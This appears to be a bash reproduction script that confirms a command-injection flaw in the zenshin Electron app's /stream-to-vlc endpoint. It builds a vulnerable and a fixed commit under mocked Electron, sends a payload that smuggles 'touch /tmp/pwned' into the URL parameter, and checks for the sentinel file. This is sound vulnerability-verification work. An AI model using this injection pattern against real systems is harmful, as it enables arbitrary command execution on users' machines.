#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT/external/zenshin"

VULN_COMMIT="7d31c6edfbac978f0ad44c66d761bab9dcd2fa27~1"
FIX_COMMIT="7d31c6edfbac978f0ad44c66d761bab9dcd2fa27"
TEST_PORT="64621"
PAYLOAD='x"; touch /tmp/pwned; echo "x'

# Write the mock runner Node.js script once
MOCK_RUNNER="$LOGS/mock-runner.js"
cat > "$MOCK_RUNNER" << 'NODEEOF'
const fs = require('fs');
const path = require('path');
const http = require('http');

const docsDir = '/tmp/zenshin-docs/Zenshin';
fs.mkdirSync(docsDir, { recursive: true });

const Module = require('module');
const originalRequire = Module.prototype.require;

const mockWebContents = {
  send: () => {},
  session: { cookies: { get: async () => [] } },
  reload: () => {},
  on: () => {},
  setWindowOpenHandler: () => {},
};

const mockWin = {
  webContents: mockWebContents,
  loadURL: () => {},
  loadFile: () => {},
  minimize: () => {},
  isMaximized: () => false,
  isMinimized: () => false,
  maximize: () => {},
  unmaximize: () => {},
  restore: () => {},
  close: () => {},
  focus: () => {},
  show: () => {},
  on: () => {},
};

const FakeBW = class FakeBW {
  constructor() { return mockWin; }
  static fromWebContents() { return mockWin; }
  static getAllWindows() { return []; }
};

Module.prototype.require = function(id) {
  if (id === 'electron') {
    return {
      app: {
        whenReady: () => Promise.resolve(),
        getPath: (p) => {
          if (p === 'documents') return '/tmp/zenshin-docs';
          if (p === 'downloads') return '/tmp/zenshin-downloads';
          return '/tmp';
        },
        on: () => {},
        setPath: () => {},
        setAsDefaultProtocolClient: () => {},
        requestSingleInstanceLock: () => true,
        quit: () => {},
      },
      shell: { openExternal: () => {}, openPath: () => {} },
      BrowserWindow: FakeBW,
      ipcMain: { on: () => {} },
      dialog: { showErrorBox: () => {}, showOpenDialog: async () => ({ canceled: true }) },
      session: { defaultSession: {} },
      globalShortcut: { register: () => {} },
    };
  }
  if (id === '@electron-toolkit/utils') {
    return {
      electronApp: { setAppUserModelId: () => {} },
      optimizer: { watchWindowShortcuts: () => {} },
      is: { dev: false },
    };
  }
  if (id === 'electron-deeplink') {
    return {
      Deeplink: class FakeDeeplink {
        constructor() {}
        on() {}
      }
    };
  }
  return originalRequire.apply(this, arguments);
};

const builtIndex = process.argv[2];
const logFile = process.argv[3];
const payload = process.argv[4];
const label = process.argv[5];

require(builtIndex);

setTimeout(() => {
  const urlPayload = encodeURIComponent(payload);
  const req = http.get(`http://127.0.0.1:64621/stream-to-vlc?url=${urlPayload}`, (res) => {
    let data = '';
    res.on('data', chunk => data += chunk);
    res.on('end', () => {
      const result = {
        label: label,
        statusCode: res.statusCode,
        responseBody: data.substring(0, 500),
        pwned_exists: fs.existsSync('/tmp/pwned'),
      };
      fs.writeFileSync(logFile, JSON.stringify(result, null, 2));
      console.log(`[${label}] statusCode=${res.statusCode} pwned_exists=${result.pwned_exists}`);
      process.exit(0);
    });
  });
  req.on('error', (err) => {
    const result = {
      label: label,
      statusCode: null,
      responseBody: err.message,
      pwned_exists: fs.existsSync('/tmp/pwned'),
    };
    fs.writeFileSync(logFile, JSON.stringify(result, null, 2));
    console.log(`[${label}] HTTP_ERROR pwned_exists=${result.pwned_exists}`);
    process.exit(0);
  });
}, 2500);
NODEEOF

# Helper: run a test against a given git ref
run_test() {
  local ref="$1"
  local label="$2"
  local logfile="$LOGS/${label}.json"

  echo "===== TESTING ${label} (${ref}) ====="

  # Clean checkout
  git checkout "$ref" --quiet
  git clean -fd --quiet || true

  cd "Electron/zenshin-electron"

  echo "[${label}] Installing dependencies..."
  npm install --silent > "$LOGS/${label}-npm-install.log" 2>&1
  echo "[${label}] Dependencies installed."

  echo "[${label}] Building project..."
  npm run build > "$LOGS/${label}-npm-build.log" 2>&1
  echo "[${label}] Build complete."

  # Remove sentinel if it exists
  rm -f /tmp/pwned

  echo "[${label}] Starting mocked server and sending exploit request..."
  # Run the actual built main/index.js with mocked Electron
  timeout 20 node "$MOCK_RUNNER" \
    "$ROOT/external/zenshin/Electron/zenshin-electron/out/main/index.js" \
    "$logfile" \
    "$PAYLOAD" \
    "$label" \
    > "$LOGS/${label}-runner.log" 2>&1 || true

  echo "[${label}] Runner finished."

  cd "$ROOT/external/zenshin"
}

# Run vulnerable test
echo ""
echo "=== PHASE 1: VULNERABLE COMMIT ==="
run_test "$VULN_COMMIT" "vulnerable"

echo ""
echo "=== PHASE 1 RESULTS ==="
if [ -f /tmp/pwned ]; then
  echo "VULNERABLE: /tmp/pwned was created on vulnerable commit"
  VULN_RESULT=1
else
  echo "UNEXPECTED: /tmp/pwned was NOT created on vulnerable commit"
  VULN_RESULT=0
fi
cat "$LOGS/vulnerable.json"
echo ""

# Run fixed test
echo ""
echo "=== PHASE 2: FIXED COMMIT ==="
run_test "$FIX_COMMIT" "fixed"

echo ""
echo "=== PHASE 2 RESULTS ==="
if [ -f /tmp/pwned ]; then
  echo "UNEXPECTED: /tmp/pwned was created on fixed commit"
  FIX_RESULT=1
else
  echo "FIXED: /tmp/pwned was NOT created on fixed commit"
  FIX_RESULT=0
fi
cat "$LOGS/fixed.json"
echo ""

# Write runtime manifest
echo ""
echo "=== WRITING RUNTIME MANIFEST ==="
python3 -c "
import json
vuln = json.load(open('$LOGS/vulnerable.json'))
fixed = json.load(open('$LOGS/fixed.json'))
manifest = {
    'target': 'zenshin Electron/Express backend',
    'vulnerable_commit': '$VULN_COMMIT',
    'fixed_commit': '$FIX_COMMIT',
    'vulnerable_indicator': {
        'pwned_exists': vuln['pwned_exists'],
        'status_code': vuln['statusCode'],
        'response_snippet': vuln['responseBody']
    },
    'fixed_indicator': {
        'pwned_exists': fixed['pwned_exists'],
        'status_code': fixed['statusCode'],
        'response_snippet': fixed['responseBody']
    },
    'verdict': 'confirmed' if ($VULN_RESULT == 1 and $FIX_RESULT == 0) else 'failed'
}
json.dump(manifest, open('$ROOT/repro/runtime_manifest.json', 'w'), indent=2)
print(json.dumps(manifest, indent=2))
"

# Final verdict
echo ""
echo "=== FINAL VERDICT ==="
if [ "$VULN_RESULT" -eq 1 ] && [ "$FIX_RESULT" -eq 0 ]; then
  echo "VERDICT: CONFIRMED"
  exit 0
else
  echo "VERDICT: FAILED"
  exit 1
fi
